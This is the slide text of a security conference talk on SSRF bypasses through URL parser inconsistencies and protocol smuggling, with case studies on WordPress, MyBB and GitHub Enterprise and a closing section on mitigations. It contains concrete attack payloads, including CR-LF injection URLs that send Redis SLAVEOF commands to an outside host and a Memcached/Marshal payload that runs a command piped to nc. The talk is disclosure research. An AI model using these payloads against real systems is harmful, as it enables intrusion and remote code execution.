

A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!



Orange Tsai



About Orange Tsai



Taiwan No.1

About Orange Tsai

*DEV*CORE

The most professional red team in Taiwan

About Orange Tsai



The largest hacker conference in Taiwan
founded by **chr0.ot**

About Orange Tsai

- **Speaker** - Speaker at several security conferences
HITCON, WooYun, AVTokyo
- **CTFer** - CTFs we won champions / in finalists (as team HITCON)
DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF
- **Bounty Hunter** - Vendors I have found Remote Code Execution
Facebook, GitHub, Uber, Apple, Yahoo, Imgur

Agenda

- Introduction
- Make SSRF great again
 - Issues that lead to SSRF-Bypass
 - Issues that lead to protocol smuggling
 - Case studies and Demos
- Mitigations



What is SSRF?

- Server Side Request Forgery
- Bypass Firewall, Touch Intranet
- Compromise Internal services

Struts2


Redis

Elastic



Protocol Smuggling in SSRF


- Make SSRF more powerful
- Protocols that are suitable to smuggle
 - HTTP based protocol
 - Elastic, CouchDB, Mongodb, Docker
 - Text-based protocol
 - FTP, SMTP, Redis, Memcached



Quick Fun Example

http://1.1.1.1[&@2.2.2.2#[@3.3.3.3/

Quick Fun Example



Python is so Hard



Quick Fun Example

- CR-LF Injection on HTTP protocol
- Smuggling SMTP protocol over HTTP protocol

```
http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM...
```

```
>> GET /
<< 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1]
>> HELO orange.tw
Connection closed
```

SMTP Hates HTTP Protocol

It Seems Unexploitable

Gopher Is Good

What If There Is No Gopher Support?

HTTPS

What Won't Be Encrypted in a SSL Handshake?

Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```
https://127.0.0.1%0D%0AHELO orange.tw%0D%0AMAIL FROM...:25 /
```

```
$ tcpdump -i lo -qw -tcp port 25 | xxd
```

000001b0:	009c	0035	002f	c030	c02c	003d	006a	0038	...	5./.0.,.=.j.8
000001c0:	0032	00ff	0100	0092	0000	0030	002e	0000	.2.....0....	
000001d0:	2b31	3237	2e30	2e30	2e31	20d	0a48	454c	+127.0.0.1..HEL	
000001e0:	4f20	6f72	616e	6765	2e74	770d	0a4d	4149	0 orange.tw..MAI	
000001f0:	4c20	4652	4f4d	2e2e	2e0d	0a11	000b	0004	L FROM.....	
00000200:	0300	0102	000a	001c	001a	0017	0019	001c	

Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```
https://127.0.0.1 %0D%0AHELO orange.tw%0D%0AMAIL FROM...:25 /
```

```
$ tcpdump -i lo -qw -tcp port 25 | xxd
```

000001b0:	009c	0035	002f	c030	c02c	003d	006a	0038	...	5./.0.,.=.j.8
000001c0:	0032	00ff	0100	0092	0000	0030	002e	0000	.2.....0....	
000001d0:	2b31	3237	2e30	2e30	2e31	20 0d 0a 48	454c	+127.0.0.1 ..HEL		
000001e0:	4f20	6f72	616e	6765	2e74	77 0d 0a 4d	4149	0 orange.tw..MAI		
000001f0:	4c20	4652	4f4d	2e2e	2e0d	0a11	000b	0004	L FROM.....	
00000200:	0300	0102	000a	001c	001a	0017	0019	001c	

Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```
https://127.0.0.1 %0D%0AHEL0 orange.tw%0D%0AMAIL FROM...:25 /
```

```
$ tcpdump -i lo -qw -tcp port 25 | xxd
```

000001b0:	009c	0035	002f	c030	c02c	003d	006a	0038	...	5./.0.,.=.j.8
000001c0:	0032	00ff	0100	0092	0000	0030	002e	0000	.2.....0....	
000001d0:	2b31	3237	2e30	2e30	2e31	200d	0a	48 454c	+127.0.0.1 ..	HEL
000001e0:	4f20	6f72	616e	6765	2e74	770d	0a	4d 4149	0 orange.tw..	MAI
000001f0:	4c20	4652	4f4d	2e2e	2e0d	0a11	000b	0004	L FROM.
00000200:	0300	0102	000a	001c	001a	0017	0019	001c

Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```
https://127.0.0.1 %0D%0AHELO orange.tw%0D%0AMAIL FROM...:25 /
```

```
$ tcpdump -i lo -qw - tcp port 25
```

```
>> ...5./.0.,.=.j.8.2.....0....+127.0.0.1
<< 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1
>> HELO orange.tw
<< 250 ubuntu Hello localhost [127.0.0.1], please meet you
>> MAIL FROM: <admin@orange.tw>
<< 250 2.1.0 <admin@orange.tw>... Sender ok
```

Make SSRF Great Again




URL Parsing Issues

- It's all about the inconsistency between URL parser and requester
- Why validating a URL is hard?
 1. Specification in RFC2396, RFC3986 but just SPEC
 2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations

URL Components(RFC 3986)



URL Components(RFC 3986)



Big Picture

Libraries/Vulns	CR-LF Injection			URL Parsing		
	Path	Host	SNI	Port Injection	Host Injection	Path Injection
Python httplib	💀	💀	💀			
Python urllib		💀	💀		💀	
Python urllib2		💀	💀			
Ruby Net::HTTP	💀	💀	💀			
Java net.URL		💀			💀	
Perl LWP			💀	💀		
NodeJS http	💀					💀
PHP http_wrapper				💀	💀	
Wget		💀	💀			
cURL				💀	💀	

Abusing URL Parsers


- Consider the following PHP code

```
$url = 'http://' . $_GET[url];
$parsed = parse_url($url);
if ( $parsed[port] == 80 && $parsed[host] == 'google.com' ) {
    readfile($url);
} else {
    die('You Shall Not Pass');
}
```

Abusing URL Parsers

`http://127.0.0.1:11211:80/`

Abusing URL Parsers



Abusing URL Parsers

- RFC3986

```
authority      = [ userinfo "@" ] host [ ":" port ]
port          = *DIGIT
host          = IP-literal / IPv4address / reg-name
reg-name       = *( unreserved / pct-encoded / sub-delims )
unreserved    = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims    = "!" / "$" / "&" / "'" / "(" / ")" / /
                 "*" / "+" / "," / ";" / "="
```

Abusing URL Parsers

`http://google.com#@evil.com/`

Abusing URL Parsers



Abusing URL Parsers

- Several programming languages suffered from this issue
 - cURL, PHP, Python
- RFC3968 section 3.2

The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI


How About cURL?



Abusing URL Parsers

`http://foo@evil.com:80@google.com/`

Abusing URL Parsers



Abusing URL Parsers

	cURL / libcurl
PHP parse_url	💀
Perl URI	💀
Ruby uri	
Ruby addressable	💀
NodeJS url	💀
Java net.URL	
Python urlparse	
Go net/url	💀

Abusing URL Parsers

- Report the bug to cURL team and get a patch quickly
- Bypass the patch with a space

`http://foo@127.0.0.1@google.com/`

Report Again But...

"curl doesn't verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input"

Won't Fix

But previous patch still applied on cURL 7.54.0

NodeJS Unicode Failure

- Consider the following NodeJS code

```
var base = "http://orange.tw/sandbox/";
var path = req.query.path;
if (path.indexOf(..) == -1) {
    http.get(base + path, callback);
}
```

NodeJS Unicode Failure

<http://orange.tw/sandbox/\N\N/passwd>

NodeJS Unicode Failure

`http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd`

NodeJS Unicode Failure

`http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd`

NodeJS Unicode Failure

<http://orange.tw/sandbox/.../passwd>

NN／ is new ..／ (in NodeJS HTTP)

(U+FF2E) Full width Latin capital letter N

What the



NodeJS Unicode Failure

- HTTP module prevents requests from CR-LF Injection
- Encode the New-lines as URL encoding

```
http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n
```

```
$ nc -vvlp 6379
```

```
>> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
```

NodeJS Unicode Failure

- HTTP module prevents requests from CR-LF Injection
- Break the protections by Unicode U+FF0D U+FF0A

```
http://127.0.0.1:6379/ - * SLAVEOF@orange.tw@6379 - *
```

```
$ nc -vvlp 6379
```

```
>> GET /
>> SLAVEOF orange.tw 6379
>> HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
```

GLibc NSS Features

- In Glibc source code file resolv/ns_name.c#ns_name_pton()

```
/*%
 * Convert an ascii string into an encoded domain name
 * as per RFC1035.
 */

int
ns_name_pton(const char *src, u_char *dst, size_t dstsiz)
```

GLibc NSS Features

- RFC1035 - Decimal support in gethostbyname()

```
void main(int argc, char **argv) {  
    char *host = "or\U0009nge.tw";  
    struct in_addr *addr = gethostbyname(host)->h_addr;  
    printf("%s\n", inet_ntoa(*addr));  
}
```



...50.116.8.239

GLibc NSS Features


- RFC1035 - Decimal support in gethostbyname()

```
>>> import socket
>>> host = '\\o\\r\\a\\n\\g\\e.t\\w'
>>> print host
\o\r\a\n\g\e.t\w
>>> socket.gethostbyname(host)
'50.116.8.239'
```

GLibc NSS Features

- Linux getaddrinfo() strip trailing rubbish followed by whitespaces

```
void main(int argc, char **argv) {
    struct addrinfo *res;
    getaddrinfo("127.0.0.1 foo", NULL, NULL, &res);
    struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr;
    printf("%s\n", inet_ntoa(ipv4->sin_addr));
}
```



...127.0.0.1

GLibc NSS Features

- Linux getaddrinfo() strip trailing rubbish followed by whitespaces
- Lots of implementations relied on getaddrinfo()

```
>>> import socket
>>> socket.gethostbyname("127.0.0.1\r\nfoo")
'127.0.0.1'
```

GLIBC NSS Features

- Exploit Glibc NSS features on URL Parsing

`http://127.0.0.1\tfoo.google.com`

`http://127.0.0.1%09foo.google.com`

`http://127.0.0.1%2509foo.google.com`

GLIBC NSS Features

- Exploit Glibc NSS features on URL Parsing
- Why this works?

Some library implementations decode the URL TWICE...

`http://127.0.0.1%2509foo.google.com`

GLIBC NSS Features

- Exploit Glibc NSS features on Protocol Smuggling
- HTTP protocol 1.1 required a host header

```
$ curl -vvv http://I-am-a-very-very-weird-domain.com
>> GET / HTTP/1.1
>> Host: I-am-a-very-very-weird-domain.com
>> User-Agent: curl/7.53.1
>> Accept: */*
```

GLIBC NSS Features

- Exploit Glibc NSS features on Protocol Smuggling
- HTTP protocol 1.1 required a host header

```
http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/
```

```
$ nc -vvlp 6379
```

```
>> GET / HTTP/1.1
>> Host: 127.0.0.1
>> SLAVEOF orange.tw 6379
>> :6379
>> Connection: close
```

GLIBC NSS Features

- Exploit Glibc NSS features on Protocol Smuggling
- SNI Injection - Embed hostname in SSL Client Hello

Simply replace HTTP with HTTPS 😊

```
https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/\n$ nc -vvlp 443\n>> ..=5</ .Aih9876.' . #...$.?.?....).%..g@?>3210...EDCB..\n>> .....5'%"127.0.0.1\n>> SET foo 0 60 5
```

GLibc NSS Features

- Break the Patch of Python CVE-2016-5699
- CR-LF Injection in `HTTPConnection.putheader()`

Space followed by CR-LF?

```
_is_illegal_header_value = \
    re.compile(rb'\n(?![\t])|\r(?![\t\n])').search
...
if _is_illegal_header_value(values[i]):
    raise ValueError('Invalid header value %r' % (values[i],))
```

GLibc NSS Features

- Break the Patch of Python CVE-2016-5699
- CR-LF Injection in HTTPConnection.putheader()

Space followed by CR-LF?

Bypass with a leading space

```
>>> import urllib
>>> url = 'http://0\r\nSLAVEOF orange.tw 6379\r\n:80'
>>> urllib.urlopen(url)
```

GLibc NSS Features

- Break the Patch of Python CVE-2016-5699
- Exploit with a leading space

Thanks to Redis and Memcached

```
http://0\r\n\0SLAVEOF orange.tw 6379\r\n :6379/
```

```
>> GET / HTTP/1.0
<< -ERR wrong number of arguments for 'get' command
>> Host: 0
<< -ERR unknown command 'Host:'
>> \0SLAVEOF orange.tw 6379
<< +OK Already connected to specified master
```

Abusing IDNA Standard

- The problem relied on URL parser and URL requester use different IDNA standard

	IDNA2003	UTS46	IDNA2008
gօօgլe.com	google.com	google.com	Invalid
g\u200Doogle.com	google.com	google.com	xn--google-pf0c.com
baß.de	bass.de	bass.de	xn--ba-hia.de

Abusing IDNA Standard

- The problem relied on URL parser and URL requester use different IDNA standard

```
>> "ß".toLowerCase()  
"ß"  
>> "ß".toUpperCase()  
"SS"  
>> ["ss", "SS"].indexOf("ß")  
false  
>> location.href = "http://wordpress.com"
```



Cat Studies

Abusing URL Parsers - Case Study

- WordPress
 - 1. Paid lots of attentions on SSRF protections
 - 2. We found **3** distinct ways to bypass the protections
 - 3. Bugs have been reported since Feb. 25, 2017 but still unpatched
 - 4. For the Responsible Disclosure Process, I will use MyBB as following case study

Abusing URL Parsers - Case Study

- The main concept is finding different behaviors among URL parser, DNS checker and URL requester

	URL parser	DNS checker	URL requester
WordPress	parse_url()	gethostbyname()	*cURL
vBulletin	parse_url()	None	*cURL
MyBB	parse_url()	gethostbynamel()	*cURL

* First priority

Abusing URL Parsers - Case Study


- SSRF-Bypass tech #1

Time-of-check to Time-of-use problem

```
1 $url_components = @parse_url($url);
2 if(
3     !$url_components ||
4     empty($url_components['host']) ||
5     (!empty($url_components['scheme'])) && !in_array($url_components['scheme'], array('http', 'https')) ||
6     (!empty($url_components['port'])) && !in_array($url_components['port'], array(80, 8080, 443)))
7 ) { return false; }
8
9 $addresses = gethostbyname($url_components['host']);
10 if($addresses) {
11     // check addresses not in disallowed_remote_addresses
12 }
13
14 $ch = curl_init();
15 curl_setopt($ch, CURLOPT_URL, $url);
16 curl_exec($ch);
```

Abusing URL Parsers - Case Study

1. `gethostname()` and get 1.2.3.4
2. Check 1.2.3.4 not in blacklist
3. Fetch URL by `curl_init()` and cURL query DNS again!
4. 127.0.0.1 fetched, SSRF!



Abusing URL Parsers - Case Study

- SSRF-Bypass tech #2

The inconsistency between DNS checker and URL requester

There is no IDNA converter in `gethostbyname()`, but cURL has

```
1 $url = 'http://ß.orange.tw/'; // 127.0.0.1
2
3 $host = parse_url($url)[host];
4 $addresses = gethostbyname($host); // bool(false)
5 if ($address) {
6     // check if address in white-list
7 }
8
9 $ch = curl_init();
10 curl_setopt($ch, CURLOPT_URL, $url);
11 curl_exec($ch);
```

Abusing URL Parsers - Case Study

- SSRF-Bypass tech #3

The inconsistency between URL parser and URL requester

- Fixed in PHP 7.0.13

```
$url = 'http://127.0.0.1:11211#@google.com:80/';  
$parsed = parse_url($url);  
var_dump($parsed[host]); // string(10) "google.com"  
var_dump($parsed[port]); // int(80)  
  
curl($url);
```



...127.0.0.1:11211 fetched

Abusing URL Parsers - Case Study

- SSRF-Bypass tech #3

The inconsistency between URL parser and URL requester

- Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1)

```
$url = 'http://foo@127.0.0.1:11211@google.com:80/';
$parsed = parse_url($url);
var_dump($parsed[host]);      // string(10) "google.com"
var_dump($parsed[port]);      // int(80)

curl($url);
```



...127.0.0.1:11211 fetched

Abusing URL Parsers - Case Study

- SSRF-Bypass tech #3

The inconsistency between URL parser and URL requester

- cURL won't fix :)

```
$url = 'http://foo@127.0.0.1@google.com:11211/';  
$parsed = parse_url($url);  
var_dump($parsed[host]); // string(10) "google.com"  
var_dump($parsed[port]); // int(11211)  
  
curl($url);
```



...127.0.0.1:11211 fetched

Protocol Smuggling - Case Study

- GitHub Enterprise

Standalone version of GitHub

Written in Ruby on Rails and code have been obfuscated



GitHub Enterprise

Protocol Smuggling - Case Study

- About Remote Code Execution on GitHub Enterprise

Best report in GitHub 3rd Bug Bounty Anniversary Promotion!

Chaining **4** vulnerabilities into RCE

Protocol Smuggling - Case Study

- First bug - SSRF-Bypass on Webhooks

What is Webhooks?

Webhooks / Add webhook

We'll send a POST request to the URL below with details of any subscribed events. You can also specify which data format you'd like to receive (JSON, x-www-form-urlencoded, etc). More information can be found in [our developer documentation](#).

Payload URL *

Protocol Smuggling - Case Study

- First bug - SSRF-Bypass on Webhooks

Fetching URL by gem faraday

Blacklisting Host by gem faraday-restrict-ip-addresses

- Blacklist localhost, 127.0.0.1... ETC
- Simply bypassed with a zero

`http://0/`

Protocol Smuggling - Case Study

- First bug - SSRF-Bypass on Webhooks

There are several limitations in this SSRF

- Not allowed 302 redirection
- Not allowed scheme out of HTTP and HTTPS
- No CR-LF Injection in faraday
- Only POST method

Protocol Smuggling - Case Study

- Second bug - SSRF in internal Graphite service

GitHub Enterprise uses Graphite to draw charts

Graphite is bound on 127.0.0.1:8000

```
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
```

SSRF Execution Chain



Protocol Smuggling - Case Study

- Third bug - CR-LF Injection in Graphite

Graphite is written in Python

- The implementation of the second SSRF is `httpplib.HTTPConnection`
- As I mentioned before, `httpplib` suffers from CR-LF Injection
- We can smuggle other protocols with URL

```
http://0:8000/composer/send_email  
?to=orange@chroot.org  
&url=http://127.0.0.1:6379/%0D%0ASET...
```

Protocol Smuggling - Case Study

- Fourth bug - Unsafe Marshal in Memcached gem

GitHub Enterprise uses Memcached gem as the cache client

All Ruby objects stored in cache will be Marshal-ed

Protocol Smuggling - Case Study

■ First SSRF ■ Second SSRF ■ Memcached protocol ■ Marshal data

```
http://0:8000/composer/send_email  
?to=orange@chroot.org  
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer  
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco  
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation  
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB  
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A  
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
```

Protocol Smuggling - Case Study

■ First SSRF ■ Second SSRF ■ Memcached protocol ■ Marshal data

```
http://0:8000/composer/send_email  
?to=orange@chroot.org  
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer  
ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco  
unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation  
%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB  
%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A  
%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
```

Protocol Smuggling - Case Study

■ First SSRF

■ Second SSRF

■ Memcached protocol

■ Marshal data

\$12,500

http://0:80/composer/send_email
?to=orange@cmnoot.org
&url=http://127.0.0.1:11211/%0D%0Aset%30gi%20hub%20production%20search/queries/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Acount%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A

Demo

GitHub Enterprise < 2.8.7 Remote Code Execution

https://youtu.be/GoO7_ICOfic

Mitigations

- Application layer

 Use the only IP and hostname, do not reuse the input URL

- Network layer

 Using Firewall or Network Policy to block Intranet traffics

- Projects

 SafeCurl by @fin1te

 Advocate by @JordanMilne

Black Hat Sound Bytes

- New Attack Surface on SSRF-Bypass
 - URL Parsing Issues
 - Abusing IDNA Standard
- New Attack Vector on Protocol Smuggling
 - Linux Glibc NSS Features
 - NodeJS Unicode Failure
- Case Studies

Further works

- URL parser issues in OAuth
- URL parser issues in modern browsers
- URL parser issues in Proxy server
- More...

Acknowledgements

1. Invalid URL parsing with '#'

by @bagder

2. URL Interop

by @bagder

3. Shibuya.XSS #8

by @mala

4. SSRF Bible

by @Wallarm

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- Twitter @harapeko_lady

https://twitter.com/harapeko_lady/status/743463485548355584

- Working Cat

<https://tuswallpapersgratis.com/gato-trabajando/>

- Cat in Carpet

<https://carpet.vidalondon.net/cat-in-carpet/>



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